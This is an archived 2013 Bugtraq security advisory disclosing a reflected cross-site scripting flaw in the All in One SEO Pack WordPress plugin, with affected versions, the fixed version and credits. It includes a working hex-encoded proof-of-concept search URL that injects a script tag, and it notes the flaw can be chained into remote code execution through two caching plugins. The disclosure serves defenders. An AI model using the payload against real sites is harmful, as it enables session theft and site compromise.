bugtraq - All in One SEO Pack Plugin for WordPress 1.3.6.4

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <CALj1Eavzt7nJbPnDAA9Cvk=PA2MdAMa8BqToS8m18bEWttxc3Q@mail.gmail.com>
Date: Wed, 2 Oct 2013 16:04:44 +0100
From: Charlie Briggs <charlie@...ha.co.uk>
To: bugtraq@...urityfocus.com
Subject: All in One SEO Pack Plugin for WordPress 1.3.6.4 - 2.0.3 XSS

------------------------------------------------------------------------

Vendor: Semper Fi Web Design (http://semperfiwebdesign.com/)

Software: All in One SEO Pack

Developer: Michael Torbert (http://michaeltorbert.com/)

Product URL: http://wordpress.org/plugins/all-in-one-seo-pack/

Changelog: http://semperfiwebdesign.com/blog/all-in-one-seo-pack/all-in-one-seo-pack-release-history/

Vulnerability type: Reflected Cross-Site Scripting (XSS)

Vulnerable versions:
    1.x branch:
        1.3.6.4 - 1.6.15.2

    2.x branch:
        2.0 - 2.0.3

Fixed in: 2.0.3.1

Credit: Charlie Briggs / Richard Clifford

------------------------------------------------------------------------

Advisory details:

Semper Fi Web Design's WordPress plugin, All in One SEO Pack
introduced the use of PHP function stripcslashes() on the search
string in version 1.3.6.4, this was continually used in each version
up until the latest (2.0.3.1)

The use of stripcslashes() means that an encoded payload in the search
parameter, forming a request of:

http://example.com/wordpress/?s=\\x3c\\x2f\\x74\\x69\\x74\\x6c\\x65\\x3e\\x3c\\x73\\x63\\x72\\x69\\x70\\x74\\x3e\\x61\\x6c\\x65\\x72\\x74\\x28\\x64\\x6f\\x63\\x75\\x6d\\x65\\x6e\\x74\\x2e\\x64\\x6f\\x6d\\x61\\x69\\x6e\\x29\\x3c\\x2f\\x73\\x63\\x72\\x69\\x70\\x74\\x3e

Would lead to the following output:
</title><script>alert(document.domain)</script>

This can also be used as an attack vector for the remote code
execution vulnerabilities in vulnerable versions of the caching
plugins W3 Total Cache and WP Super Cache.

------------------------------------------------------------------------